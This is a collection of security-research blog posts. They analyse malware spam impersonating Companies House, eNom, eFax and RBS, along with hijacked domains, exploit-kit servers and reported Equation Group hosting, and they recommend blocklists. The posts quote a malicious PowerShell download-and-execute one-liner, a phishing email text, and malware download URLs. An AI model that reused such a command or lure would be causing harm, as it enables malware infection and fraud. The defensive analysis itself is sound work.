Malware spam: "Company Documents" / WebFilling@companieshousemail.co.uk and companieshouseemail.co.uk plus others

This spam email does not come from Companies House, but is instead a simple forgery with a malicious attachment:

I observed the email coming from the fake domains companieshousemail.co.uk and companieshouseemail.co.uk  but it looks like there may be more. Email is being send from servers in the 94.237.36.0/24 range (Upcloud Ltd, Finland) and I can see other servers set up to do the same thing:

companieshouseemail.co.uk  94.237.36.104
companieshouseemail.co.uk  94.237.36.145
companieshousemail.co.uk  94.237.36.146
companieshousemail.co.uk  94.237.36.147
companieshousesecure.co.uk  94.237.36.150
companieshousesecure.co.uk  94.237.36.151

Blocking email from the entire 94.237.36.0/24 range at least temporarily might be prudent.

The WHOIS details for these indicate they were registered today with presumably fake details, but that the registrar Nominet have somehow "verified".

All the attachments I have seen are the same with a current detection rate of 6/55. Hybrid Analysis of the document shows it downloading a component from shuswapcomputer.ca/images/banners/bannerlogo.png and a malicious executable %APPDATA%\pnwshqr.exe is dropped with a detection rate of 14/62.

Automated analysis of the binary [1] [2] show potentially malicious traffic going to:

107.181.161.221 (Total Server Solutions, US)
185.25.51.118 (Informacines sistemos ir technologijos UAB aka bacloud,com, Lithuania)

There are probably other destinations too. The payload appears to be Dyre / Dyreza.

The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.

I was not able to extract the final payload, however the infection path is as follows:

http://bebracelet.com/customerarea/notification-processing-G29804772-064.doc
--> http://customer.abudusolicitors.com/customerarea/notification-processing-G29804772-064.doc
--> https://customer.affiliate-labs.net/customerarea/notification-processing-G29804772-064.zip

This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));

I couldn't get a response from the server at cristianinho.com [5.152.199.228 - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - 185.130.207.37 and 185.141.165.204 which is Host1Plus, UK / Digital Energy Technologies, DE).

Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..

The email originated from mx119.argozelo.info on 188.214.88.119 (Hzone, Romania). Just on a hunch, I checked the domain argozelo.info and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?

Well.. this particular rabbit hole goes a little deeper. mx119 gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name mx110.argozelo.info through to mx143.argozelo.info hosted on 188.214.88.110 through 188.214.88.142. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.

So, my guess is that argozelo.info has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.

What caught my eye was a mailserver on 188.214.88.110 (the same as mx110.argozelo.info) named mail.localpoolrepair.com which certainly rang a bell because the email was apparently from customer@localpoolrepair.com - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.

localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:

 Query for localpoolrepair.com type=255 class=1
  localpoolrepair.com SOA (Zone of Authority)
        Primary NS: dns.site5.com
        Responsible person: hostmaster@site5.com
        serial:2017021207
        refresh:3600s (60 minutes)
        retry:3600s (60 minutes)
        expire:604800s (7 days)
        minimum-ttl:3600s (60 minutes)
  localpoolrepair.com A (Address) 143.95.232.95
  localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
  localpoolrepair.com NS (Nameserver) dns2.site5.com
  localpoolrepair.com NS (Nameserver) dns.site5.com
  localpoolrepair.com TXT (Text Field)
    v=spf1 ip4:188.214.88.110/31 ip4:188.214.88.112/28 ip4:188.214.88.128/29 ip4:188.214.88.136/30 ip4:188.214.88.140/31 ip4:188.214.88.142/32  ~all

So.. the SPF records are valid for sending servers in the 188.214.88.110 through 188.214.88.142 range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.

So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust yourself not to click the link?

Malware spam: "Domain [domain] Suspension Notice" / abuse@enom.com.org

There appear to be many versions of this spam, aimed at domain owners and apparently coming from the actual registrar of the domain. For added authenticity, the owner's name is included in the spam. Here is one example that I got.. it would have been very convincing, except that I had the heads up on this attack a couple of day ago.

From:    ENOM, INC. [abuse@enom.com.org]
Date:    30 October 2015 at 04:11
Subject:    Domain LAPTOP-MEMORY.COM Suspension Notice

Dear Sir/Madam,

The following domain names have been suspended for violation of the ENOM, INC. Abuse Policy:

Domain Name: LAPTOP-MEMORY.COM
Registrar: ENOM, INC.
Registrant Name: CONRAD LONGMORE

Multiple warnings were sent by ENOM, INC. Spam and Abuse Department to give you an opportunity to address the complaints we have received.

We did not receive a reply from you to these email warnings so we then attempted to contact you via telephone.

We had no choice but to suspend your domain name when you did not respond to our attempts to contact you.

Click here and download a copy of complaints we have received.

Please contact us for additional information regarding this notification.

Sincerely,
ENOM, INC.
Spam and Abuse Department
Abuse Department Hotline: 480-406-7704

In this case, clicking on the link goes to edecisions.com/abuse_report.php?LAPTOP-MEMORY.COM and downloads a file LAPTOP-MEMORY.COM_copy_of_complaints.pdf.scr - it looks more authentic because the domain name is in the file download, but in fact you can specify any domain name and it gives a matching file.

Before we look at the analysis of the downloaded executable, let's look at the domain name edecisions.com. It looks like the sort of domain that might contain abuse reports, but in fact it is a hijacked GoDaddy domain hosted on 65.78.174.100 and a quick look at VirusTotal indicates that one of the other 4 sites on the same server was also compromised and was serving up malware in 2013. This is definitely a good candidate to block.

The downloaded file has a VirusTotal detection rate of 2/55. Automated analysis tools [1] [2] [3] indicate that whatever the hell this is, it tries to contact a LOT of other servers. We can see that the following domain names are accessed (mostly POST attempts):

0tv.co

Note that almost everything is in the A-D range, which makes me suspect that this is only a fraction of the compromised domains. If we look at the IP addresses of those domains, then it gets even more interesting:

50.87.144.249 (Unified Layer, US)
50.87.151.145 (Unified Layer, US)
108.167.140.175 (WebSiteWelcome, US) [13 instances]

192.185.152.133 (WebSiteWelcome, US) [2 instances]

192.254.231.138 (WebSiteWelcome, US)
192.254.234.204 (WebSiteWelcome, US)
198.57.242.171 (Unified Layer, US) [4 instances]
198.57.244.38 (Unified Layer, US)
208.109.119.156 (GoDaddy, US)

A check of those WebSiteWelcome and Unified Layer IPs on VirusTotal (for example 192.185.226.164) indicates several compromised domains on the same server, indicating that the entire box has been popped.

It isn't clear what the payload is, but given the fact that it is aimed at domain owners and given the unusual characteristics of the malware, I can make a guess that it is some sort of password stealer, possibly harvesting domains or server admin credentials. If you are not using multi-factor authentication for your domains, then perhaps now would be a good time to choose to do so.

Popular German wesite dwdl.de hacked, serving malware via 94.142.140.222

Popular German media website dwdl.de has been hacked and is serving up malware, according to this URLquery report.

URLquery's IDS function detects what looks like the RIG Exploit kit:

The exploit is in injected code pointing to a server at 94.142.140.222 (Marosnet Telecommunication Company, Russia) which in the example is using filter.michiganbeerhops.com which is a hijacked GoDaddy domain.

The exploit only appears to work if the site is accessed via a search engine, which looks like a classic .htaccess hack. URLquery's script relationship chart shows this in action:

VirusTotal gives an overview of other malicious domains on this server. It indicates that the following domains have been hijacked and malicious subdomains set up:

An analysis of reported Equation Group IP ranges and domains

There has been a lot of buzz this morning about "The Equation Group", a possible state actor involved in placing malware on hard disks [1] [2] [3] [4].

Securelist (in conjunction with Kaspersky) published a list of domains and IPs to do with this malware, but with very little information about where they were hosted. After all, if they a hosted in a shed next to the bus station in Tiraspol or some underground complex buried under Wutong Mountain, then it's a rather different proposition from some secretive organisation in Washington DC.

Securelist post a number of hardcoded IPs as well as some domain names. Kaspersky have sinkholed some of the domains, and I can see one other active sinkhole. At least one of the domains is parked. Some of the domains look like they are not in use.

The data I collected can be found here, but before you use any of it, I will explain in more detail so you can use it prudently.

There are several web hosts and networks involved, all over the world. Some seem to have a higher certainty of involvement than others. In most cases, the Equation Group have rented a bunch of servers with contiguous IP addresses (I call this the "Equation Range") which is the one that I recommend you monitor. Some web hosts have other suspect IP addresses in the same neighbourhood, but in order to keep things simple I am not going into that.

(Updated 18/2/15 to remove an OpenDNS sinkhole and add 41.222.35.70)

FLAG Telecom / Reliance Globalcom

62.216.152.64/28
80.77.2.160/27
80.77.4.0/26

Allegedly a partner of the NSA and GCHQ, these IP addresses appear to be in the UK, US and Egypt (I would doubt the accuracy of the WHOIS data for the last one). In addition to apparently hardcoded IPs, they also host:

team4heat.net
forgotten-deals.com
phoneysoap.com
cigape.net
mimicrice.com
charmedno1.com
functional-business.com
rehabretie.com
advancing-technology.com

Verizon

194.229.238.80/28
195.108.238.128/30
195.128.235.225/28
202.95.84.32/27
210.81.52.96/27
212.177.108.192/27

Another company with a long history with the NSA, these Verizon IPs are all located outside the United States, specfically the Netherlands, Singaporre, Japana and Italy. In addition to hardcoded IPs, they are hosting:

honarkhaneh.net
meevehdar.com

Global Telecom & Technology Americas Inc. / Cogent / PSInet

149.12.71.0/26

This Cogent customer has at least four different IPs hosting Equation Group servers. The following domains are hosted:

avidnewssource.com
rubi4edit.com
listennewsnetwork.com
unite3tubes.com

Colombia: Alfan Empaques Flexibles S.A. / Columbus Networks / IFX Networks / Terremark

64.76.82.48/28
190.242.96.208/28
190.60.202.0/28
190.60.202.0/28
190.60.202.0/28

The relationship between the US and Colombia is difficult, with the former spying on the latter extensively. Why there should be a cluster of servers in Colombia connected with this is a mystery. In addition to hardcoded IPs, the following domains are hosted in Colombia:

selective-business.com
technicalconsumerreports.com
technicaldigitalreporting.com
technology-revealed.com
melding-technology.com

Czech Republic: Master Internet / IT-PRO / 4D Praha

81.31.36.160/28
81.31.34.174
81.31.34.175
81.31.38.160/27

A group of three internet companies (possibly using the same infrastructure) also appear to be involved. All these IPs appear to be in the city of Brno, which is also home to the Czech National Cyber Security Center. Coincidence? The following domains can be found on Czech IPs in addition to hardcoded addresses:

islamicmarketing.net
noticiasftpsrv.com
coffeehausblog.com
platads.com
nickleplatedads.com
arabtechmessenger.net

Spain: Terremark / GTT Global Telecom

84.233.205.96/27

195.81.34.64/27
84.233.205.32/28
85.112.1.80/28


Terremark also provide hosting services for Equation in Colmbia, and of course Spain is a long-time ally of the United States and United Kingdom. Web sites hosted:

89.18.177.0/27
80.94.78.53
80.94.78.109

In addition to Verizon, four other Netherlands companies are hosting Equation Group servers. The Netherlands is another long-time ally of the US and UK.

I recommend that you look at the data before you do drastic things with these IP ranges.

Now, I don't know for certain that this malware is a government actor, but the IP address indicate that whoever it is has a relationship with these companies (especially Verizon). That certainly feels like a state actor to me..

Persistent hijacked GoDaddy domains serve malware via Turkish IPs

Last year I wrote about a small bunch of IPs belonging to Radore Veri Merkezi Hizmetleri A.S in Turkey that seemed to be aggressively pushing an exploit kit via hijacked GoDaddy domains. Today I was slightly surprised to see that this is still going on, and in some cases using the same domains as they were all those months ago.

Let's start by looking at an example hijacked domain gssportspics.com which is a neat little site with some high school photos of sports and events on.

We can look up the DNS details for www.gssportspics.com and they look OK with an IP of 184.168.152.5 which belongs to GoDaddy.

01/08/15 14:06:28 dns www.gssportspics.com
Mail for www.gssportspics.com is handled by smtp.secureserver.net mailstore1.secureserver.net
Canonical name: gssportspics.com
Aliases:
  www.gssportspics.com
Addresses:
  184.168.152.5

The domain is registered by GoDaddy, the domain is hosted by GoDaddy. Makes sense, and the website is clean of malware as far as I can tell.

But the problem is that there are a whole bunch of subdomains also using the gssportspics.com that you can't easily tell are there. For example, these subdomains all exist too:

invu.gssportspics.com
yossi.gssportspics.com
auckle.gssportspics.com
sively.gssportspics.com
truset.gssportspics.com
vishal.gssportspics.com
sovieana.gssportspics.com
wiramart.gssportspics.com
gardenhour.gssportspics.com
spechtling.gssportspics.com

Let's look up one of these..

01/08/15 14:24:45 dns vishal.gssportspics.com
Canonical name: vishal.gssportspics.com
Addresses:
  31.210.96.158

Well, that IP address ain't GoDaddy.

inetnum:        31.210.64.0 - 31.210.127.255
netname:        TR-RADORE-20110504
descr:          Radore Veri Merkezi Hizmetleri A.S.
country:        TR
org:            ORG-RHTH1-RIPE
admin-c:        RLA11-RIPE
tech-c:         RLA11-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-lower:      RADORE-MNT
mnt-routes:     RADORE-MNT
mnt-domains:    RADORE-MNT
notify:         registry@rh.com.tr
changed:        hostmaster@ripe.net 20110504
changed:        hostmaster@ripe.net 20130410
changed:        bit-bucket@ripe.net 20130930
source:         RIPE

Well, we've been here before and I can tell you that these sort of hijacked sites are hosted on the following IPs:

31.210.96.155
31.210.96.156
31.210.96.157
31.210.96.158

I don't know how this Turkish host suballocates IPs to customers, but it is roughly equivalent to 31.210.96.152/29.

So how are these hijacks happening? Actually, I don't know although I do know that this is very common with GoDaddy accounts that use domaincontrol.com namservers. Perhaps the accounts are being phished, hit in an XSS attack or there is a weakness in GoDaddy's DNS architecture. GoDaddy are normally very good at cleaning this sort of thing up, so let's hope they can put a stop to this now.

What the exact payload of these IPs is I don't know because it is hardened against analysis, but they have hosted Ponmocup in the past.  I have observed traffic being sent to these server via hacked sites, and given the subdomain hijacking then it is clear that something very bad is going on. You can see an example of URLquery failing to analyse one of these sites here.. I suspect that the payload only works once per visiting IP.

You can see an example of some of the LIVE subdomains hosted on these IPs here [pastebin] or a full list of ALL the hijacked subdomains that I seen over time in this range here.

Currently, these following domains all have hijacked subdomains, as far as I can tell, they are all legitimate sites and I would hesitate to block them.. instead I would recommend blocking the IP address ranges listed above instead.

Something evil on 46.8.14.154

46.8.14.154 (Netart Group S.r.o. / Movenix International Inc) forms part of an exploit chain that starts with compromised OpenX servers and appears to end up with an exploit kit of some sort.

The following subdomains have been active on that server, they are ALL hijacked GoDaddy domains:

The best thing to do is to block traffic to 46.8.14.154 because these domains seem to change every few minutes.

Something evil on 87.118.127.230

Quite what exploit kit this is I cannot determine, but there's something evil on 87.118.127.230 (Keyweb, Germany) which is using hijacked GoDaddy-registered subdomains to distribute crap. It's definitely worth blocking this IP. The source looks like some sort of malvertising, but I have incomplete data.

Yet another fake eFax spam. I mean really I cannot remember the last time someone sent me a fax. What's next? "Someone has sent you a telegram"?

I bet you've already guessed that the link in the message goes somewhere bad, in this case it downloads a ZIP files from cybercity-game.com/game/Documents.zip which unzips to a malicious executable Documents.scr which has a pretty low VirusTotal detection rate of 2/55.

The ThreatTrack report clearly identifies this as Cryptowall and identifies that it either downloads data from or posts data to the following locations:

188.165.204.210/1109inst2/NODE01/0/51-SP3/0/
188.165.204.210/1109inst2/NODE01/1/0/0/
mtsvp.com/files/3/install2.tar
suspendedwar.com/87n3hdh5wi04gy
suspendedwar.com/ttfvku8z7jn
goodbookideas.com/wp-content/themes/twentyeleven/111.exe
suspendedwar.com/gwfqwaratrpl2c
suspendedwar.com/h0nxfsskh0xu
suspendedwar.com/kvlfhc0hjgo6sgo

The 111.exe has a much wider detection rate of 22/53 and according the the ThreatTrack analysis of that binary there is some sort of network connection to the following IPs:

193.169.86.151
193.19.184.20

Overall, the web hosts involved are:
46.151.145.11 (Swift Trace Ltd, Crimea)
50.63.85.76 (GoDaddy, US)
76.74.170.149 (Daiger Sydes Gustafson LLC / Peer 1, US)
188.165.204.210 (OVH, France)
193.19.184.20 (PE Intechservice-B, Ukraine)
193.169.86.151 (Ivanov Vitaliy Sergeevich, Ukraine)

I would recommend blocking the following:
188.165.204.210
193.19.184.20
193.169.86.151

RBS "Important Docs" spam doing the rounds again

The Royal Bank of Scotland has been spoofed several times recently, this latest fake spam contains a payload that looks like it might be Cryptowall.

This information is classified as Confidential unless otherwise stated. 

Attached is an archive RBS_Account_Documents.zip containing a malicious executable RBS_Account_Documents.scr which has a detection rate at VirusTotal of 4/53. The ThreatTrack analysis [pdf] shows that it attempts to download components from the following locations:

95.141.37.158/0809uk1/NODE01/0/51-SP3/0/
95.141.37.158/0809uk1/NODE01/1/0/0/
95.141.37.158/0809uk1/NODE01/41/5/4/
bullethood.com/ProfilePics/0809uk1.zip

95.141.37.158 is SeFlow.it Internet Services, Italy. bullethood.com is on a shared server at GoDaddy. The malware also appears to be attempting to connect to 94.23.250.88 (OVH, France).

Recommended blocklist:
bullethood.com
95.141.37.158
94.23.250.88

Something evil on 31.210.96.155, 31.210.96.156, 31.210.96.157 and 31.210.96.158 (31.210.96.152/29)

[Note, an update to this can be found here]

I don't know quite what the exploit kit of the month is here, but the IP addresses 31.210.96.155, 31.210.96.156, 31.210.96.157 and 31.210.96.158 are currently serving up malware using hijacked GoDaddy domains, and are targeting victim websites by altering their .htaccess files to intercept traffic coming from search engines such as Google.

These IP addresses have been used for malware for some time and certainly historically they have been used for Ponmocup. I can't confirm that this is still the case, but given the bad IP and the obvious .htaccess hijack then it passed the Duck Test.

These IPs are allocated to Radore Veri Merkezi Hizmetleri A.S. in Turkey who control 31.210.64.0/18 which is a large block, so these IPs are probably a customer or even a customer of a customer.

VirusTotal reports for these IPs are pretty poor [1] [2] [3] [4]. I assume that they form part of an allocation 31.210.96.152/29 which I would very strongly recommend blocking that range, or indeed the entire /24 looks pretty worth

These domains all use the GoDaddy domaincontrol.com nameservers, which naturally means most of them are GoDaddy domains.. but not all of them, some are from other registrars. This list [pastebin] includes a selection of active subdomains that I can find.

I recommend permablocking the following IP range and temporarily blocking the following domains:
